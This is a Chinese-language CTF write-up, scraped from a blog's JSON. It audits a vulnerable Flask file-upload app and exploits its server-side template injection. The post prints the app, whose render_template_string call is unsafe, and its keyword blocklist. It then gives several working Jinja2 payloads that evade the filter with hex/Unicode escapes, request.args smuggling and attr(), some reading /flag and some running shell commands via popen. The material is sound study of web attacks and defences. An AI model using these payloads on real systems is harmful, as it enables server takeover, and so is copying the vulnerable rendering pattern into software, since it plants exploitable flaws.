![\"Pasted](\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/03\/Pasted-image-20260305224754-2.png\")
<\/p>\n<\/p>\n
![\"Pasted](\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/03\/Pasted-image-20260306214523-2.png\")
<\/div>import os \nimport re \n \nfrom flask import Flask, request, jsonify,render_template_string,send_from_directory, abort,redirect \nfrom werkzeug.utils import secure_filename \nimport os \nfrom werkzeug.utils import secure_filename \n \napp = Flask(__name__) \n \n# \u914d\u7f6e\u4fe1\u606f \nUPLOAD_FOLDER = 'static\/uploads' # \u4e0a\u4f20\u6587\u4ef6\u4fdd\u5b58\u76ee\u5f55 \nALLOWED_EXTENSIONS = {'txt', 'log', 'text','md','jpg','png','gif'} \nMAX_CONTENT_LENGTH = 16 * 1024 * 1024 # \u9650\u5236\u4e0a\u4f20\u5927\u5c0f\u4e3a 16MB \napp.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER \napp.config['MAX_CONTENT_LENGTH'] = MAX_CONTENT_LENGTH \n \n# \u521b\u5efa\u4e0a\u4f20\u76ee\u5f55\uff08\u5982\u679c\u4e0d\u5b58\u5728\uff09 \nos.makedirs(UPLOAD_FOLDER, exist_ok=True) \ndef is_safe_path(basedir, path): \n return os.path.commonpath([basedir,path]) \n \n \ndef contains_dangerous_keywords(file_path): \n dangerous_keywords = ['_', 'os', 'subclasses', '__builtins__', '__globals__','flag',] \n \n with open(file_path, 'rb') as f: \n file_content = str(f.read()) \n \n \n for keyword in dangerous_keywords: \n if keyword in file_content: \n return True # \u627e\u5230\u5371\u9669\u5173\u952e\u5b57\uff0c\u8fd4\u56de True \n return False # \u6587\u4ef6\u5185\u5bb9\u4e2d\u6ca1\u6709\u5371\u9669\u5173\u952e\u5b57 \ndef allowed_file(filename): \n return '.' in filename and \\ \n filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS \n \n \n@app.route('\/', methods=['GET', 'POST']) \ndef upload_file(): \n if request.method == 'POST': \n # \u68c0\u67e5\u662f\u5426\u6709\u6587\u4ef6\u88ab\u4e0a\u4f20 \n if 'file' not in request.files: \n return jsonify({"error": "\u672a\u4e0a\u4f20\u6587\u4ef6"}), 400 \n \n file = request.files['file'] \n \n # \u68c0\u67e5\u662f\u5426\u9009\u62e9\u4e86\u6587\u4ef6 \n if file.filename == '': \n return jsonify({"error": "\u8bf7\u9009\u62e9\u6587\u4ef6"}), 400 \n \n # \u9a8c\u8bc1\u6587\u4ef6\u540d\u548c\u6269\u5c55\u540d \n if file and allowed_file(file.filename): \n # \u5b89\u5168\u5904\u7406\u6587\u4ef6\u540d \n filename = secure_filename(file.filename) \n # \u4fdd\u5b58\u6587\u4ef6 \n save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename) \n file.save(save_path) \n \n \n \n # \u8fd4\u56de\u6587\u4ef6\u8def\u5f84\uff08\u7edd\u5bf9\u8def\u5f84\uff09 \n return jsonify({ \n "message": "File uploaded successfully", \n "path": os.path.abspath(save_path) \n }), 200 \n else: \n return jsonify({"error": "\u6587\u4ef6\u7c7b\u578b\u9519\u8bef"}), 400 \n \n # GET \u8bf7\u6c42\u663e\u793a\u4e0a\u4f20\u8868\u5355\uff08\u53ef\u9009\uff09 \n return ''' \n <!doctype html> <title>Upload File<\/title> <h1>Upload File<\/h1> <form method=post enctype=multipart\/form-data> <input type=file name=file> <input type=submit value=Upload> <\/form> ''' \n@app.route('\/file\/<path:filename>') \ndef view_file(filename): \n try: \n # 1. \u8fc7\u6ee4\u6587\u4ef6\u540d \n safe_filename = secure_filename(filename) \n if not safe_filename: \n abort(400, description="\u65e0\u6548\u6587\u4ef6\u540d") \n \n # 2. \u6784\u9020\u5b8c\u6574\u8def\u5f84 \n file_path = os.path.join(app.config['UPLOAD_FOLDER'], safe_filename) \n \n # 3. \u8def\u5f84\u5b89\u5168\u68c0\u67e5 \n if not is_safe_path(app.config['UPLOAD_FOLDER'], file_path): \n abort(403, description="\u7981\u6b62\u8bbf\u95ee\u7684\u8def\u5f84") \n \n # 4. \u68c0\u67e5\u6587\u4ef6\u662f\u5426\u5b58\u5728 \n if not os.path.isfile(file_path): \n abort(404, description="\u6587\u4ef6\u4e0d\u5b58\u5728") \n \n suffix=os.path.splitext(filename)[1] \n print(suffix) \n if suffix==".jpg" or suffix==".png" or suffix==".gif": \n return send_from_directory("static\/uploads\/",filename,mimetype='image\/jpeg') \n \n if contains_dangerous_keywords(file_path): \n # \u5220\u9664\u4e0d\u5b89\u5168\u7684\u6587\u4ef6 \n os.remove(file_path) \n return jsonify({"error": "Waf!!!!"}), 400 \n \n with open(file_path, 'rb') as f: \n file_data = f.read().decode('utf-8') \n tmp_str = """<!DOCTYPE html> \n <html lang="zh"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>\u67e5\u770b\u6587\u4ef6\u5185\u5bb9<\/title> \n <\/head> <body> <h1>\u6587\u4ef6\u5185\u5bb9\uff1a{name}<\/h1> <!-- \u663e\u793a\u6587\u4ef6\u540d --> <pre>{data}<\/pre> <!-- \u663e\u793a\u6587\u4ef6\u5185\u5bb9 --> \n <footer> <p>© 2025 \u6587\u4ef6\u67e5\u770b\u5668<\/p> \n <\/footer> <\/body> <\/html> """.format(name=safe_filename, data=file_data) \n \n return render_template_string(tmp_str) \n \n except Exception as e: \n app.logger.error(f"\u6587\u4ef6\u67e5\u770b\u5931\u8d25: {str(e)}") \n abort(500, description="\u6587\u4ef6\u67e5\u770b\u5931\u8d25:{} ".format(str(e))) \n \n \n# \u9519\u8bef\u5904\u7406\uff08\u53ef\u9009\uff09 \n@app.errorhandler(404) \ndef not_found(error): \n return {"error": error.description}, 404 \n \n \n@app.errorhandler(403) \ndef forbidden(error): \n return {"error": error.description}, 403 \n \n \nif __name__ == '__main__': \n app.run("0.0.0.0",debug=False)\n<\/code><\/pre>\n\n- \u5206\u6790\u4ee3\u7801\uff0c\u53d1\u73b0\u6709ssti\u6ce8\u5165\u7684\u53ef\u80fd<\/li>\n<\/ul>\n
tmp_str = """<!DOCTYPE html> \n <html lang="zh"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>\u67e5\u770b\u6587\u4ef6\u5185\u5bb9<\/title> \n <\/head> <body> <h1>\u6587\u4ef6\u5185\u5bb9\uff1a{name}<\/h1> <!-- \u663e\u793a\u6587\u4ef6\u540d --> <pre>{data}<\/pre> <!-- \u663e\u793a\u6587\u4ef6\u5185\u5bb9 --> \n <footer> <p>© 2025 \u6587\u4ef6\u67e5\u770b\u5668<\/p> \n <\/footer> <\/body> <\/html> """.format(name=safe_filename, data=file_data) \n \n return render_template_string(tmp_str)\n<\/code><\/pre>\nrender_template<\/code> \u662f\u00a0Flask \u6846\u67b6\u4e2d\u7684\u4e00\u4e2a\u51fd\u6570\uff0c\u7528\u4e8e\u6e32\u67d3 HTML \u6a21\u677f\u3002\u5b83\u63a5\u53d7\u6a21\u677f\u6587\u4ef6\u540d\u4f5c\u4e3a\u7b2c\u4e00\u4e2a\u53c2\u6570\uff0c\u5e76\u53ef\u4ee5\u4f20\u9012\u4e00\u7ec4\u53d8\u91cf\u4f5c\u4e3a\u7b2c\u4e8c\u4e2a\u53c2\u6570\u3002render_template_string()<\/code>\u7684\u4f5c\u7528\u548c\u524d\u8005\u7c7b\u4f3c\uff0c\u4f46\u5b83\u76f4\u63a5\u63a5\u53d7\u5b57\u7b26\u4e32\u800c\u4e0d\u662f\u6a21\u677f\u6587\u4ef6\uff0c\u5e76\u4f7f\u7528 Jinja2 \u6e32\u67d3\u3002\u5728html\u6a21\u677f\u4e2dname\u548cdata\u4f1a\u88ab\u5f53\u505a\u6a21\u677f\u8fdb\u884c\u6e32\u67d3\uff0c\u8fd9\u6837\u5c31\u53ef\u4ee5\u901a\u8fc7\u6ce8\u5165\u6076\u610f\u4ee3\u7801\u4f7f\u5f97\u6076\u610f\u4ee3\u7801\u88ab\u6e32\u67d3\u4ece\u800c\u9020\u6210ssti\u3002<\/p>\n\n- \u83b7\u53d6\u6587\u4ef6\u4e0a\u4f20\u540e\u7684\u8def\u5f84<\/li>\n<\/ul>\n
@app.route('\/file\/<path:filename>')\n\n with open(file_path, 'rb') as f:\n file_data = f.read().decode('utf-8')\n<\/code><\/pre>\n\u4e0a\u4f20\u6210\u529f\u540e\u8bbf\u95ee\/file\/\u6587\u4ef6\u540d\uff0c\u5e76\u4e14\u4ee5\u4e8c\u8fdb\u5236\u6587\u4ef6\u7684\u683c\u5f0f\u6253\u5f00\u6587\u4ef6\u5e76\u4f7f\u7528utf-8\u7684\u89e3\u7801\u5f62\u5f0f\u8fdb\u884c\u8bfb\u53d6\uff0c\u5982\u679c\u76ee\u6807\u662f\u56fe\u50cf\u6216\u8005\u5176\u5b83\u4e0d\u80fd\u4f7f\u7528utf-8\u89e3\u7801\u5f62\u5f0f\u7684\u6587\u4ef6\uff0c\u89e3\u6790\u4f1a\u62a5\u9519,\u56e0\u6b64\u9700\u8981\u4e0a\u4f20\u6587\u672c\u7c7b\u578b\u7684\u6587\u4ef6\u3002<\/p>\n
\n- waf<\/li>\n<\/ul>\n
def contains_dangerous_keywords(file_path): \ndangerous_keywords = ['_', 'os', 'subclasses', '__builtins__', '__globals__','flag',] \n \nif contains_dangerous_keywords(file_path): \n # \u5220\u9664\u4e0d\u5b89\u5168\u7684\u6587\u4ef6 \n os.remove(file_path) \n return jsonify({"error": "Waf!!!!"}), 400\n<\/code><\/pre>\n\u4ee3\u7801\u89c4\u5b9a\u4e86\u9ed1\u540d\u5355\uff0c\u6587\u4ef6\u7684\u5185\u5bb9\u4e2d\u5982\u679c\u5305\u542b\u9ed1\u540d\u5355\u4e2d\u7684\u5b57\u7b26\u5c31\u4f1a\u5220\u9664\u8be5\u6587\u4ef6\u5e76\u62a5\u9519<\/p>\n
\u4e09\u3001waf\u7ed5\u8fc7<\/h1>\n1.\u4f20\u5165{{7*7}}<\/code><\/h2>\n![\"Pasted](\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/03\/Pasted-image-20260306221120-2.png\")
<\/p>\n
\u6210\u529f\u89e3\u6790\u4e3a49\uff0c\u5b58\u5728\u6f0f\u6d1e
\n![\"Pasted](\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/03\/Pasted-image-20260306221110-2.png\")
<\/p>\n
2.waf\u7ed5\u8fc7<\/h2>\n\u65b9\u6cd5\u4e00<\/h3>\n\n- \n
\u4f7f\u7528\u5341\u516d\u8fdb\u5236\u7ed5\u8fc7\u654f\u611f\u5b57\u7b26\uff08\u5982flag\u4e2d\u7684\u5b57\u6bcdg\u3001\u4e0b\u5212\u7ebf\uff09<\/p>\n<\/li>\n
- \n
\u65b9\u62ec\u53f7\u00a0[]<\/code>\u66ff\u6362.<\/code>\uff1aPython\u5141\u8bb8\u901a\u8fc7obj["key"]<\/code>\u7684\u65b9\u5f0f\u8bbf\u95ee\u5c5e\u6027\u6216\u5b57\u5178\u7684\u952e\uff0c\u8fd9\u79cd\u65b9\u5f0f\u7684\u5c5e\u6027\u540d\u88ab\u5305\u88f9\u5728\u5b57\u7b26\u4e32\u4e2d\uff0c\u53ef\u4ee5\u52a8\u6001\u6784\u9020\uff08\u6bd4\u5982\u62fc\u63a5\u6216\u7f16\u7801\uff09\uff0c\u4ece\u800c\u7ed5\u8fc7WAF\u5bf9\u56fa\u5b9a\u6a21\u5f0f\u7684\u8fc7\u6ee4<\/p>\n<\/li>\n- \n
\u4f7f\u7528Unicode \u7f16\u7801\u7ed5\u8fc7\u654f\u611f\u5b57\u7b26<\/p>\n<\/li>\n
- \n
\u8fc7\u6ee4\u5173\u952e\u5b57\u4f7f\u7528+\u62fc\u63a5\u7ed5\u8fc7<\/p>\n<\/li>\n
- \n
lipsum\u6784\u9020payload
\n\u8f93\u5165{{lipsum}}<\/code>\u6210\u529f\u89e3\u6790\uff0c\u8bf4\u660e\u8be5\u51fd\u6570\u5b58\u5728
\n![\"Pasted](\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\")
<\/div>
\n![\"Pasted](\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/03\/Pasted-image-20260306223139-2.png\")
<\/p>\n<\/li>\n<\/ul>\n\u5341\u516d\u8fdb\u5236\\x5f<\/code>\u66ff\u6362_<\/code>,\u4e2d\u62ec\u53f7\u66ff\u6362.<\/code>\uff0c\u4f7f\u7528__globals__<\/code>\u51fd\u6570\u67e5\u770b\u5168\u5c40\u53d8\u91cf<\/p>\n{{lipsum["\\x5f\\x5fglobals\\x5f\\x5f"]}}\n<\/code><\/pre>\n\u8f93\u5165\uff0c\u6210\u529f\u89e3\u6790\uff0c\u83b7\u53d6\u5168\u5c40\u53d8\u91cf
\n
<\/div>
\n![\"Pasted](\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/03\/Pasted-image-20260306223534-2.png\")
<\/p>\n\u8c03\u7528__builtins__<\/code> \u6a21\u5757\u4ece\u5168\u5c40\u53d8\u91cf\u4e2d\u62ff\u5230 Python \u5185\u7f6e\u51fd\u6570\u5b57\u5178,\u8c03\u7528 open \u51fd\u6570\u8bfb\u53d6 \/flag\u6587\u4ef6\u5185\u5bb9\uff0c\u5341\u516d\u8fdb\u5236\\x67<\/code>\u66ff\u6362g<\/p>\n{{lipsum["\\x5f\\x5fglobals\\x5f\\x5f"]["\\x5f\\x5fbuiltins\\x5f\\x5f"]["open"]("\/fla\\x67").read()}}\n<\/code><\/pre>\n\u6e90payload<\/p>\n
{{lipsum.__globals__.__builtins__.open('\/flag').read()}}\n<\/code><\/pre>\n<\/div>
\n<\/div>
\n\u6210\u529f\u83b7\u53d6payload<\/p>\n\n''<\/code>\u6784\u9020payload
\n\u67e5\u770b\u5f53\u524d\u5bf9\u8c61\u6240\u5c5e\u7c7b<\/li>\n<\/ul>\n{{''["\\x5f\\x5fclass\\x5f\\x5f"]}}\n<\/code><\/pre>\n<\/div>
\n![\"Pasted](\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/03\/Pasted-image-20260306225938-2.png\")
<\/p>\n\u6784\u9020payload\uff1aUnicode \u7f16\u7801\uff0c\u8fc7\u6ee4\u5173\u952e\u5b57\u4f7f\u7528+\u62fc\u63a5\u7ed5\u8fc7<\/p>\n
{{''["\\x5f\\x5fclass\\x5f\\x5f"]["\\x5f\\x5fbase\\x5f\\x5f"]["\\x5f\\x5fsub"+"classes\\x5f\\x5f"]()[137]["\\x5f\\x5finit\\x5f\\x5f"]["\\x5f\\x5fglobals\\x5f\\x5f"]["\\x5f\\x5fbuiltins\\x5f\\x5f"]['open']('\/\\u0066\\u006c\\u0061\\u0067').read()}}\n<\/code><\/pre>\n\u6e90payload<\/p>\n
{{''.__class__.__base__.__subclasses__()[137].__init__.__globals__.__builtins__.open('\/flag').read()}}\n<\/code><\/pre>\n<\/div>
\n![\"Pasted](\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/03\/Pasted-image-20260306230733-2.png\")
<\/p>\n\u65b9\u6cd5\u4e8c<\/h3>\n
request\u7ed5\u8fc7\uff1a\u9884\u8bbe\u67e5\u8be2\u53c2\u6570+\u4eceurl\u4e2d\u4f20\u9012\u503c\u62fc\u63a5\u7684\u65b9\u6cd5\u6765\u7ed5\u8fc7\u76f4\u63a5\u5bf9\u6a21\u677f\u53c2\u6570\u7684\u8fc7\u6ee4<\/p>\n
request\u7ed5\u8fc7\u8be6\u89e3\uff1a
\nrequest.args.xx \u662f Python \u7684\u00a0Flask \u6846\u67b6\u4e2d\u7528\u4e8e\u8bbf\u95ee URL \u67e5\u8be2\u53c2\u6570\u7684\u4e00\u79cd\u65b9\u5f0f\u3002\u5177\u4f53\u6765\u8bf4\uff1a
\nrequest\u00a0\u662f Flask \u4e2d\u7684\u4e00\u4e2a\u5168\u5c40\u5bf9\u8c61\uff0c\u4ee3\u8868\u5f53\u524d\u7684 HTTP \u8bf7\u6c42\u3002
\nrequest.args \u662f\u4e00\u4e2a\u5b57\u5178-like \u7684\u5bf9\u8c61\uff08\u5b9e\u9645\u4e0a\u662f MultiDict\uff09\uff0c\u5b83\u5305\u542b\u4e86 URL \u4e2d\u67e5\u8be2\u5b57\u7b26\u4e32\uff08\u5373 ? \u540e\u9762\u7684\u90e8\u5206\uff09\u4e2d\u7684\u6240\u6709\u53c2\u6570\u3002
\nxx \u662f\u67e5\u8be2\u53c2\u6570\u7684\u540d\u79f0\uff0c\u901a\u8fc7\u00a0request.args.xx\u00a0\u53ef\u4ee5\u83b7\u53d6\u5bf9\u5e94\u53c2\u6570\u7684\u503c\u3002
\n\u4f8b\u5982\uff0c\u5982\u679c URL \u662f http:\/\/example.com\/path?param1=value1$param1=value2<\/code>\uff0c\u90a3\u4e48\uff1a
\nrequest.args['param1']<\/code> \u8fd4\u56de ‘value1’\u3002
\nrequest.args['param2']<\/code> \u8fd4\u56de ‘value2’\u3002
\n\u5728 Jinja2 \u6a21\u677f\u4e2d\uff0c\u53ef\u4ee5\u76f4\u63a5\u5199 request.args.param1 \u6765\u83b7\u53d6 ‘value1’\u3002
\n\u7b80\u5355\u6765\u8bf4\uff0crequest.args.xx \u5c31\u662f\u4ece\u00a0URL \u67e5\u8be2\u53c2\u6570\u4e2d\u63d0\u53d6\u540d\u4e3a xx \u7684\u503c\u7684\u4e00\u79cd\u65b9\u6cd5<\/p>\n\u6784\u9020payload\uff1a<\/p>\n
{{''[request.args.x1][request.args.x2][0][request.args.x3]()[137][request.args.x4][request.args.x5]['popen']('cat \/f*').read()}}\n<\/code><\/pre>\nurl\uff1a<\/p>\n
?x1=__class__&x2=__bases__&x3=__subclasses__&x4=__init__&&x5=__globals__\n<\/code><\/pre>\n\u5c06?\u53ca\u540e\u9762\u5b57\u7b26\u62fc\u63a5\u5230\u6240\u4e0a\u4f20\u6587\u4ef6\u7684url\u540e\u5373\u53ef\uff1a
\n
<\/div>
\n![\"Pasted](\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/03\/Pasted-image-20260306231639-2.png\")
<\/p>\n\u65b9\u6cd5\u4e09<\/h3>\n
Unicode \u7f16\u7801+attr()\u7ed5\u8fc7
\n.<\/code>\u7b49\u4ef7\u4e8e|attr()<\/code>\uff0c\u5373''|attr("__class__")<\/code>\u7b49\u6548\u4e8e''.__class__<\/code><\/p>\n{{lipsum.__globals__.get('os').popen('cat \/f*').read()}}\n<\/code><\/pre>\n{{lipsum|attr("\\u005f\\u005f\\u0067\\u006c\\u006f\\u0062\\u0061\\u006c\\u0073\\u005f\\u005f")|attr("\\u0067\\u0065\\u0074")("\\u006f\\u0073")|attr("\\u0070\\u006f\\u0070\\u0065\\u006e")("cat \/f*")|attr("\\u0072\\u0065\\u0061\\u0064")()}}\n<\/code><\/pre>\n<\/div>
\n![\"Pasted](\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/03\/Pasted-image-20260306232630-2.png\")
<\/p>\n\u603b\u7ed3<\/h1>\n\n- \u5341\u516d\u8fdb\u5236\u3001Unicode \u7f16\u7801\u7ed5\u8fc7\u5173\u952e\u5b57\u8fc7\u6ee4<\/li>\n
- \u65b9\u62ec\u53f7\u00a0
[]<\/code>\u66ff\u6362.<\/code><\/li>\n- \u8fc7\u6ee4\u5173\u952e\u5b57\u4f7f\u7528+\u62fc\u63a5\u7ed5\u8fc7<\/li>\n
- request\u7ed5\u8fc7\uff1a\u9884\u8bbe\u67e5\u8be2\u53c2\u6570+\u4eceurl\u4e2d\u4f20\u9012\u503c\u62fc\u63a5\u7684\u65b9\u6cd5\u6765\u7ed5\u8fc7\u76f4\u63a5\u5bf9\u6a21\u677f\u53c2\u6570\u7684\u8fc7\u6ee4<\/li>\n
- attr()\u7ed5\u8fc7\uff1a|attr()\u66ff\u6362
.<\/code><\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"\u4e00\u3001\u8bbf\u95ee\u9898\u76ee \u4e0b\u8f7d\u6e90\u7801app.py \u4e8c\u3001\u4ee3\u7801\u5ba1\u8ba1 import os import re from flask […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[8,22,23],"tags":[70,90],"class_list":["post-3053","post","type-post","status-publish","format-standard","hentry","category-ctf","category-ctf-web","category-nssctf","tag-ssti","tag-waf"],"_links":{"self":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/3053","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/comments?post=3053"}],"version-history":[{"count":1,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/3053\/revisions"}],"predecessor-version":[{"id":3054,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/3053\/revisions\/3054"}],"wp:attachment":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/media?parent=3053"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/categories?post=3053"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/tags?post=3053"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}
![\"Pasted](\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/03\/Pasted-image-20260306223601-2.png\")
<\/div>![\"Pasted](\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/03\/Pasted-image-20260306223544-2.png\")
<\/div>![\"Pasted](\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/03\/Pasted-image-20260306224223-2.png\")
<\/div>![\"Pasted](\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/03\/Pasted-image-20260306224232-2.png\")
<\/div>![\"Pasted](\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/03\/Pasted-image-20260306225928-2.png\")
<\/div>![\"Pasted](\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/03\/Pasted-image-20260306230724-2.png\")
<\/div>![\"Pasted](\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/03\/Pasted-image-20260306231629-2.png\")
<\/div>![\"Pasted](\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/03\/Pasted-image-20260306232621-2.png\")
<\/div>